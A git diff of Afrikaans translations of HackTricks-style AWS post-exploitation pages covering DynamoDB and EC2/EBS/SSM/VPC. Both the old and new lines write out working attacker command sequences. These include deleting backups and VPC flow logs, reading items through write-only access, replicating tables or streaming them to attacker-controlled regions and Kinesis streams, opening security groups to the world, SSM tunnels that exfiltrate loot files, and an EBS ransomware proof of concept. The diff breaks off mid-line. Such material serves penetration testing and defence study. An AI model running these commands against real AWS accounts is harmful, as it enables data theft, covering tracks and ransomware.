aws dynamodb delete-table \ ### `dynamodb:DeleteBackup` -'n aanvaller met hierdie toestemming kan **'n DynamoDB-rugsteun verwyder, wat moontlik dataverlies veroorsaak in geval van 'n rampherstelscenario**. +Aanvaller met hierdie toestemming kan **'n DynamoDB-rugsteun verwyder, wat moontlik dataverlies in 'n rampherstelscenario veroorsaak**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Potensiële impak**: Data verlies en onmoontlikheid om van 'n rugsteun te herstel tydens 'n rampherwinningscenario. +**Potensiële impak**: Dataverlies en onmoontlikheid om van ’n rugsteun te herstel tydens ’n rampherstelscenario. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Toets of dit eintlik werk +> TODO: Toets of dit werklik werk -'n aanvaller met hierdie toestemmings kan **'n stream op 'n DynamoDB-tabel aktiveer, die tabel opdateer om te begin met die stream van veranderinge, en dan toegang tot die stream kry om veranderinge aan die tabel in real-time te monitor**. Dit stel die aanvaller in staat om data-wijzigings te monitor en te exfiltrate, wat moontlik tot data leakage kan lei. +’n aanvaller met hierdie toestemmings kan **’n stream op ’n DynamoDB-tabel aktiveer, die tabel bywerk om te begin stream veranderinge, en daarna toegang tot die stream kry om veranderinge aan die tabel in reële tyd te monitor**. Dit stel die aanvaller in staat om data changes te monitor en te exfiltrate, wat potensieel kan lei tot data leakage. -1. Skakel 'n stream op 'n DynamoDB-tabel in: +1. Skakel ’n stream op ’n DynamoDB-tabel in: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Beskryf die stream om die ARN en ander besonderhede te kry: +2. Beskryf die stroom om die ARN en ander besonderhede te bekom: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ @@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. Gebruik die shard iterator om toegang te kry en data uit die stream te exfiltrate: +4. Gebruik die shard iterator om toegang tot die stream te kry en data te exfiltrateer: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Potensiële impak**: Tydreële monitering en data leakage van die DynamoDB-tabel se veranderings. +**Potensiële impak**: Reële-tyd monitering en data leakage van die DynamoDB-tabel se veranderinge. ### Lees items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` -'n aanvaller met slegs `dynamodb:UpdateItem` op 'n tabel kan items lees sonder enige van die gewone lees-toestemmings (`GetItem`/`Query`/`Scan`) deur 'n onskuldige update uit te voer en `--return-values ALL_OLD` te versoek. DynamoDB sal die volle pre-update beeld van die item in die `Attributes` veld van die antwoord teruggee (dit verbruik nie RCUs nie). +'n Aanvaller met slegs `dynamodb:UpdateItem` op 'n tabel kan items lees sonder enige van die gewone lees-permissies (`GetItem`/`Query`/`Scan`) deur 'n onskadelike update uit te voer en `--return-values ALL_OLD` aan te vra. DynamoDB sal die volle vooraf-opdateringsbeeld van die item in die `Attributes`-veld van die response teruggee (dit verbruik nie RCUs nie). -- Minimale toestemmings: `dynamodb:UpdateItem` op die teikentabel/sleutel. -- Vereistes: Jy moet die item se primêre sleutel ken. +- Minimum permissions: `dynamodb:UpdateItem` on the target table/key. +- Prerequisites: Jy moet die item se primêre sleutel ken. -Voorbeeld (voeg 'n onskuldige attribuut by en exfiltrates die vorige item in die antwoord): +Voorbeeld (voeg 'n onskadelike attribuut by en exfiltrates die vorige item in die response): ```bash aws dynamodb update-item \ --table-name \ @@ -318,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -Die CLI-antwoord sal `n `Attributes`-blok insluit wat die volledige vorige item (alle attributes) bevat, wat effektief `n lees-primitive vanuit skryf-alleen toegang bied. +Die CLI-respons sal `n `Attributes` blok insluit wat die volledige vorige item bevat (alle attributes), wat effektief `n read primitive vanaf write-only toegang verskaf. -**Potensiële impak:** Lees ewekansige items uit `n tabel met slegs skryfpermissies, wat sensitiwe data exfiltration moontlik maak wanneer primêre sleutels bekend is. +**Potensiële impak:** Lees arbitrêre items uit `n tabel met slegs write permissions, wat sensitiewe data exfiltration moontlik maak wanneer die primary keys bekend is. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Stil exfiltration deur `n nuwe replica Region by `n DynamoDB Global Table (weergawe 2019.11.21) te voeg. Indien `n principal `n streeksreplica kan byvoeg, word die hele tabel na die deur die aanvaller gekose Region gerepliseer, van waar die aanvaller alle items kan lees. +Stealth exfiltration deur `n nuwe replica Region by te voeg tot `n DynamoDB Global Table (version 2019.11.21). As `n principal `n regional replica kan byvoeg, word die hele tabel na die attacker-chosen Region gerepliseer, waarvandaan die attacker alle items kan read. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -Permissies: `dynamodb:UpdateTable` (met `replica-updates`) of `dynamodb:CreateTableReplica` op die teikentabel. As 'n CMK in die replika gebruik word, mag KMS-permissies vir daardie sleutel benodig word. +Permissies: `dynamodb:UpdateTable` (met `replica-updates`) of `dynamodb:CreateTableReplica` op die teiken-tabel. As `CMK` in die replica gebruik word, mag `KMS`-permissies vir daardie sleutel vereis word. -Potensiële impak: Volledige-tabel-replikasie na 'n streek wat deur 'n aanvaller beheer word, wat lei tot sluipende data-eksfiltrasie. +Potensiële impak: Volledige tabelreplikasie na 'n attacker-controlled Region wat kan lei tot stealthy data exfiltration. -### `dynamodb:TransactWriteItems` (lees deur mislukte voorwaarde + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) +### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -'n Aanvaller met transaksionele skryfbevoegdhede kan die volle eienskappe van 'n bestaande item eksfiltreer deur 'n `Update` binne `TransactWriteItems` uit te voer wat opsetlik 'n `ConditionExpression` laat misluk terwyl `ReturnValuesOnConditionCheckFailure=ALL_OLD` ingestel is. By mislukking sluit DynamoDB die vorige eienskappe in die redes vir kansellasie van die transaksie in, wat skryf-slegs-toegang effektief in lees-toegang tot geteikende sleutels omskakel. +'n attacker met transaksionele skryfprivileges kan die full attributes van 'n bestaande item exfiltrate deur 'n `Update` binne `TransactWriteItems` uit te voer wat opzettelik 'n `ConditionExpression` laat misluk terwyl `ReturnValuesOnConditionCheckFailure=ALL_OLD` gestel is. By mislukking sluit DynamoDB die vorige attributes in die transaksie-kanselleringsredes in, wat effektief write-only access in read access van geteikende sleutels omskakel. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -409,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -Permissies: `dynamodb:TransactWriteItems` on the target table (and the underlying item). Geen leespermissies is benodig nie. +Toestemmings: `dynamodb:TransactWriteItems` op die teiken tabel (en die onderliggende item). Geen lees-toestemmings word vereis nie. -Potensiële impak: Lees ewekansige items (per primêre sleutel) uit 'n tabel deur net transaksionele skryfregte te gebruik via die teruggegewe kanselleringsredes. +Potensiële impak: Lees arbitrêre items (per primêre sleutel) uit 'n tabel slegs met transaksionele skryfprivilegieë deur die teruggegewe kanselleringsredes. ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` op GSI -Om leesbeperkings te omseil, skep 'n Global Secondary Index (GSI) met `ProjectionType=ALL` op 'n lae-entropie attribuut, stel daardie attribuut oor items op 'n konstante waarde, en `Query` dan die indeks om volle items te herwin. Dit werk selfs as `Query`/`Scan` op die basistabel geweier word, solank jy die indeks ARN kan query. +Om leesbeperkings te omseil, skep 'n Global Secondary Index (GSI) met `ProjectionType=ALL` op 'n lae-entropie attribuut, stel daardie attribuut oor items heen op 'n konstante waarde, en voer dan `Query` op die indeks uit om volledige items te kry. Dit werk selfs as `Query`/`Scan` op die basistabel geweier word, solank jy die indeks ARN kan query. -- Minimum permissies: -- `dynamodb:UpdateTable` on the target table (om die GSI met `ProjectionType=ALL` te skep). -- `dynamodb:UpdateItem` on the target table keys (om die geïndekseerde attribuut op elke item te stel). -- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`). +- Minimum toestemmings: +- `dynamodb:UpdateTable` op die teiken tabel (om die GSI met `ProjectionType=ALL` te skep). +- `dynamodb:UpdateItem` op die teiken tabel sleutels (om die geïndekseerde attribuut op elke item te stel). +- `dynamodb:Query` op die indeks resource ARN (`arn:aws:dynamodb:::table//index/`). Stappe (PoC in us-east-1): ```bash @@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Potensiële impak:** Full table exfiltration deur 'n pas geskepte GSI wat alle attributte projekteer, selfs wanneer base table read APIs geweier word. +**Potensiële impak:** Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied. -### `dynamodb:EnableKinesisStreamingDestination` (Aanhoudende exfiltration via Kinesis Data Streams) +### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams) -Misbruik van DynamoDB Kinesis streaming destinations om voortdurend veranderinge van 'n tabel na 'n aanvaller-beheerde Kinesis Data Stream te exfiltrate. Sodra dit aangeskakel is, word elke INSERT/MODIFY/REMOVE gebeurtenis naby real-time na die stream gestuur sonder om leespermisse op die tabel te benodig. +Misbruik van DynamoDB Kinesis streaming destinations om voortdurend veranderings van 'n tabel na 'n attacker-controlled Kinesis Data Stream te exfiltrate. Sodra dit geaktiveer is, word elke INSERT/MODIFY/REMOVE-gebeurtenis byna in real-time na die stream gestuur sonder dat lees-permissies op die tabel benodig word. -Minimum permissies (aanvaller): -- `dynamodb:EnableKinesisStreamingDestination` op die teiken-tabel +Minimale permissies (attacker): +- `dynamodb:EnableKinesisStreamingDestination` on the target table - Opsioneel `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` om status te monitor -- Leespermissies op die aanvaller-beheerde Kinesis stream om rekords te verbruik: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords` +- Lees-permissies op die attacker-owned Kinesis stream om rekords te verbruik: `kinesis:*`
PoC (us-east-1) @@ -530,8 +530,6 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ```
-**Potensiële impak:** Aaneenlopende, naby-regstreekse exfiltration van tabelveranderinge na 'n deur 'n aanvaller beheerde Kinesis-stream sonder direkte leesoperasies op die tabel. +**Potensiële impak:** Deurlopende, byna reële-tyd eksfiltrasie van tabelveranderinge na 'n deur 'n aanvaller beheerde Kinesis-stream sonder direkte leesbewerkings op die tabel. - - -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 0b8ce512d..2101d1a76 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,7 +4,7 @@ ## EC2 & VPC -Vir meer inligting, kyk: +Vir meer inligting, sien: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,10 +12,10 @@ Vir meer inligting, kyk: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC-verkeer spieëling **dubbel die inkomende en uitgaande verkeer vir EC2-instances binne 'n VPC** sonder die behoefte om enigiets op die instances self te installeer. Hierdie gedupliseerde verkeer sou gewoonlik na iets soos 'n netwerk indringing opsporingstelsel (IDS) gestuur word vir analise en monitering.\ -'n Aanvaller kan dit misbruik om al die verkeer te vang en sensitiewe inligting daaruit te verkry: +VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\ +'n Aanvaller kan dit misbruik om al die verkeer vas te vang en sensitiewe inligting daaruit te bekom: -Vir meer inligting, kyk hierdie bladsy: +Vir meer inligting, sien hierdie bladsy: {{#ref}} aws-malicious-vpc-mirror.md @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Instances bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). egter, 'n ander manier om te kyk wat dit bevat, is om **'n AMI te skep en 'n nuwe instance (selfs in jou eie rekening) daarvan te laat loop**: +Instances bevat gewoonlik 'n vorm van sensitiewe inligting. Daar is verskillende maniere om binne te kom (sien [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). 'n Ander manier om te sien wat dit bevat, is om **'n AMI te skep en 'n nuwe instance (selfs in jou eie account) daaruit te begin**: ```shell # List instances aws ec2 describe-images @@ -49,109 +49,174 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots is rugste van volumes**, wat gewoonlik **sensitiewe inligting** sal bevat, daarom behoort die nagaan daarvan hierdie inligting te openbaar.\ -As jy 'n **volume sonder 'n snapshot** vind, kan jy: **Skep 'n snapshot** en die volgende aksies uitvoer of net **mont dit in 'n instansie** binne die rekening: +**Snapshots are backups of volumes**, wat gewoonlik **gevoelige inligting** bevat; daarom behoort die kontrole daarvan hierdie inligting te openbaar.\ +As jy 'n **volume without a snapshot** vind, kan jy: **Create a snapshot** en die volgende aksies uitvoer of net **mount it in an instance** binne die account: {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} +### Covert Disk Exfiltration via AMI Store-to-S3 + +Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Dit maak volle off-line forensiese ontleding of data-diefstal moontlik terwyl die instance se netwerk onaangeraak bly. + +{{#ref}} +aws-ami-store-s3-exfiltration.md +{{#endref}} + +### Live Data Theft via EBS Multi-Attach + +Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Nuttig wanneer die slagoffer se volume reeds Multi-Attach binne dieselfde AZ geaktiveer is. + +{{#ref}} +aws-ebs-multi-attach-data-theft.md +{{#endref}} + +### EC2 Instance Connect Endpoint Backdoor + +Skep 'n EC2 Instance Connect Endpoint, autoriseer ingress, en injekteer ephemerale SSH-sleutels om private instances oor 'n bestuurde tonnel te bereik. Verskaf vinnige laterale bewegingspaaie sonder om publieke poorte oop te stel. + +{{#ref}} +aws-ec2-instance-connect-endpoint-backdoor.md +{{#endref}} + +### EC2 ENI Secondary Private IP Hijack + +Skuif 'n slagoffer-ENI se sekondêre private IP na 'n aanvaller-beheerde ENI om vertroude hosts te imiteer wat per IP op 'n allowlist is. Laat toe om interne ACLs of SG-reëls wat aan spesifieke adresse gekoppel is, te omseil. + +{{#ref}} +aws-eni-secondary-ip-hijack.md +{{#endref}} + +### Elastic IP Hijack for Ingress/Egress Impersonation + +Herassosieer 'n Elastic IP van die slagoffer-instance na die aanvaller om inkomende verkeer te onderskep of uitgaande verbindings te begin wat voorkom asof hulle van vertroude openbare IP's kom. + +{{#ref}} +aws-eip-hijack-impersonation.md +{{#endref}} + +### Security Group Backdoor via Managed Prefix Lists + +As 'n security group-reël na 'n customer-managed prefix list verwys, sal die byvoeging van attacker CIDRs tot daardie lys stilweg die toegang uitbrei oor al die afhanklike SG-reëls sonder om die SG self te wysig. + +{{#ref}} +aws-managed-prefix-list-backdoor.md +{{#endref}} + +### VPC Endpoint Egress Bypass + +Skep gateway- of interface VPC endpoints om uitgaande toegang vanaf geïsoleerde subnets te herstel. Die benutting van AWS-managed private links omseil ontbrekende IGW/NAT-kontroles vir data exfiltration. + +{{#ref}} +aws-vpc-endpoint-egress-bypass.md +{{#endref}} + +### VPC Flow Logs Cross-Account Exfiltration + +Wys VPC Flow Logs na 'n aanvaler-beheerde S3-bucket om voortdurend netwerk-metagegewens (bron/bestemming, poorte) buite die slagoffer-rekening te versamel vir langtermyn verkenning. + +{{#ref}} +aws-vpc-flow-logs-cross-account-exfiltration.md +{{#endref}} + ### Data Exfiltration #### DNS Exfiltration -Selfs as jy 'n EC2 sluit sodat geen verkeer kan uitgaan nie, kan dit steeds **exfil via DNS**. +Selfs as jy 'n EC2 toemaak sodat geen verkeer kan uitgaan nie, kan dit steeds **exfil via DNS**. -- **VPC Flow Logs sal dit nie opteken nie**. +- **VPC Flow Logs sal dit nie opneem nie**. - Jy het geen toegang tot AWS DNS logs nie. -- Deaktiveer dit deur "enableDnsSupport" op vals te stel met: +- Deaktiveer dit deur "enableDnsSupport" op false te stel met: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -'n Aanvaller kan API eindpunte van 'n rekening wat deur hom beheer word, aanroep. Cloudtrail sal hierdie oproepe opteken en die aanvaller sal in staat wees om die geexfiltreerde data in die Cloudtrail logs te sien. +'n Aanvaller kan API-endpunte van 'n rekening wat hy beheer, aanroep. Cloudtrail sal hierdie oproepe log en die aanvaller sal die exfiltrate data in die Cloudtrail-logs kan sien. ### Open Security Group -Jy kan verdere toegang tot netwerkdienste verkry deur poorte soos volg te open: +Jy kan verdere toegang tot netwerkdienste kry deur poorte soos hierdie oop te maak: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Dit is moontlik om 'n EC2-instantie te draai en dit te registreer om gebruik te word om ECS-instanties te draai en dan die ECS-instanties se data te steel. +Dit is moontlik om 'n EC2-instansie te laat loop en dit te registreer sodat dit gebruik kan word om ECS-instanse te laat loop en daarna die data van die ECS-instanse te steel. -Vir [**meer inligting kyk hierna**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +Vir [**meer inligting, kyk hier**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### Remove VPC flow logs +### Verwyder VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` ### SSM Port Forwarding -Vereiste toestemmings: +Required permissions: - `ssm:StartSession` -Benewens opdraguitvoering, laat SSM vir verkeerstunneling wat misbruik kan word om te pivot van EC2-instanties wat nie netwerktoegang het nie weens Sekuriteitsgroepe of NACLs. Een van die scenario's waar dit nuttig is, is om te pivot van 'n [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS-kluster. +Benewens command execution, laat SSM verkeerstunneling toe wat misbruik kan word om vanaf EC2 instances te pivot wat geen netwerktoegang het weens Security Groups of NACLs nie. +Een scenario waar dit nuttig is, is om te pivot van die [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na 'n private EKS cluster. -> Om 'n sessie te begin, moet jy die SessionManagerPlugin geïnstalleer hê: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> Om 'n sessie te begin moet die SessionManagerPlugin geïnstalleer wees: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Installeer die SessionManagerPlugin op jou masjien 2. Meld aan by die Bastion EC2 met die volgende opdrag: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Kry die Bastion EC2 AWS tydelike geloofsbriewe met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) skrip -4. Oordra die geloofsbriewe na jou eie masjien in die `$HOME/.aws/credentials` lêer as `[bastion-ec2]` profiel -5. Meld aan by EKS as die Bastion EC2: +3. Kry die Bastion EC2 AWS tydelike credentials met die [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script +4. Dra die credentials oor na jou eie masjien in die `$HOME/.aws/credentials` lêer as die `[bastion-ec2]` profiel +5. Teken in by EKS as die Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Werk die `server` veld in die `$HOME/.kube/config` lêer op om na `https://localhost` te verwys -7. Skep 'n SSM-tonnel soos volg: +6. Werk die `server`-veld in die `$HOME/.kube/config`-lêer by om na `https://localhost` te wys +7. Skep 'n SSM tunnel soos volg: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Die verkeer van die `kubectl` hulpmiddel word nou deur die SSM-tonnel via die Bastion EC2 gestuur en jy kan die private EKS-kluster vanaf jou eie masjien toegang verkry deur die volgende uit te voer: +Die verkeer van die `kubectl`-gereedskap word nou deur die SSM-tonnel via die Bastion EC2 deurgestuur, en jy kan vanaf jou eie masjien toegang tot die privaat EKS-kluster kry deur die volgende uit te voer: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Let wel, die SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify` vlag (of sy ekwivalent in K8s-auditgereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy veilig teen enige vorm van MitM-aanvalle. +Let wel dat SSL-verbindinge sal misluk tensy jy die `--insecure-skip-tls-verify ` vlag stel (of die ekwivalent daarvan in K8s-auditgereedskap). Aangesien die verkeer deur die veilige AWS SSM tunnel getunnel word, is jy veilig teen enige soort MitM-aanvalle. -Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-klusters nie. Jy kan arbitrêre domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot. +Laastens, hierdie tegniek is nie spesifiek tot die aanval van private EKS clusters nie. Jy kan ewekansige domeine en poorte instel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot. --- -#### Vinige Plaaslike ↔️ Afgeleë Poort Voorwaarts (AWS-StartPortForwardingSession) +#### Vinnige Plaaslike ↔️ Afgeleë Port Forward (AWS-StartPortForwardingSession) -As jy net **een TCP-poort van die EC2-instantie na jou plaaslike gasheer** moet voorwaarts, kan jy die `AWS-StartPortForwardingSession` SSM-dokument gebruik (geen afgeleë gasheerparameter benodig): +As jy slegs een **TCP-poort vanaf die EC2 instance na jou plaaslike gasheer** hoef deur te stuur, kan jy die `AWS-StartPortForwardingSession` SSM-dokument gebruik (geen remote host-parameter benodig): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Die opdrag stel 'n bidireksionele tonnel tussen jou werkstasie (`localPortNumber`) en die geselekteerde poort (`portNumber`) op die instansie **sonder om enige inkomende Security-Group reëls te open**. +Die opdrag stel 'n tweerigtingtonnel in tussen jou workstation (`localPortNumber`) en die geselekteerde poort (`portNumber`) op die instance **sonder om enige inkomende Security-Group-reëls oop te maak**. -Gewone gebruiksgevalle: +Gereelde gebruiksgevalle: -* **Lêer eksfiltrasie** -1. Begin 'n vinnige HTTP-bediener op die instansie wat na die gids wys wat jy wil eksfiltreer: +* **File exfiltration** +1. Op die instance begin 'n vinnige HTTP-server wat na die gids wys wat jy wil exfiltrate: ```bash python3 -m http.server 8000 ``` -2. Trek die lêers vanaf jou werkstasie deur die SSM-tonnel: +2. Vanaf jou workstation haal die lêers op deur die SSM-tunnel: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Toegang tot interne webtoepassings (bv. Nessus)** +* **Toegang tot interne webtoepassings (e.g. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -159,7 +224,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Tip: Komprimeer en enkripteer bewyse voordat jy dit uitbring sodat CloudTrail nie die duidelike teksinhoud log nie: +Wenk: Compress and encrypt evidence before exfiltrating it so that CloudTrail does not log the clear-text content: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -168,9 +233,9 @@ Tip: Komprimeer en enkripteer bewyse voordat jy dit uitbring sodat CloudTrail ni ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Soek sensitiewe inligting in openbare en private AMIs +### Soek sensitiewe inligting in openbare en privaat AMIs -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs) te soek**. Dit outomatiseer die proses om instansies van teiken AMIs te begin, hul volumes te monteer, en te skandeer vir potensiële geheime of sensitiewe data. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **sensitiewe inligting binne openbare of privaat Amazon Machine Images (AMIs) te soek**. Dit outomatiseer die proses om instances vanaf teiken AMIs te loods, hul volumes te mount, en te skandeer vir potensiële secrets of sensitiewe data. ### Deel EBS Snapshot ```bash @@ -178,9 +243,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -'n Bewys van konsep soortgelyk aan die Ransomware demonstrasie wat in die S3 post-exploitation notas gedemonstreer is. KMS moet hernoem word na RMS vir Ransomware Management Service met hoe maklik dit is om verskeie AWS dienste te enkripteer deur dit te gebruik. +Bewys van konsep soortgelyk aan die Ransomware-demonstrasie in die S3 post-exploitation notas. KMS behoort hernoem te word na RMS vir Ransomware Management Service, gegewe hoe maklik dit is om verskeie AWS-dienste daarmee te enkripteer. -Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel in KMS. Vir hierdie voorbeeld sal ons net hê dat AWS die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer behou. Verander die sleutelbeleid om enige AWS rekening Prinsipaal toe te laat om die sleutel te gebruik. Vir hierdie sleutelbeleid was die rekening se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Outside Encryption' genoem. +Eerstens, vanaf 'attacker' AWS account, skep 'n customer managed key in KMS. Vir hierdie voorbeeld sal AWS net die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer behou. Verander die key policy sodat enige AWS account Principal die sleutel kan gebruik. Vir hierdie key policy was die rekening se naam 'AttackSim' en die beleidreël wat alle toegang toelaat, heet 'Outside Encryption'. ``` { "Version": "2012-10-17", @@ -272,7 +337,7 @@ Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel i ] } ``` -Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om 'n EBS-volume te enkripteer: +Die key policy-regel benodig die volgende geaktiveer om die vermoë te hê om dit te gebruik om `n EBS` volume te enkripteer: - `kms:CreateGrant` - `kms:Decrypt` @@ -280,21 +345,21 @@ Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instanse het met nie-geënkripteerde EBS-volumes aangeheg. Hierdie 'slagoffer' rekening se EBS-volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS-rekening. +Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instanse af te ontkoppel en te verwyder, en uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS-volumes te skep, te verwyder. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Soortgelyk aan die S3 ransomware example. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep deur snapshots te gebruik, die publicly available key van die 'attacker' account gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2 instances loskoppel en uitvee, en uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS-volumes te skep, verwyder. ![Pasted image 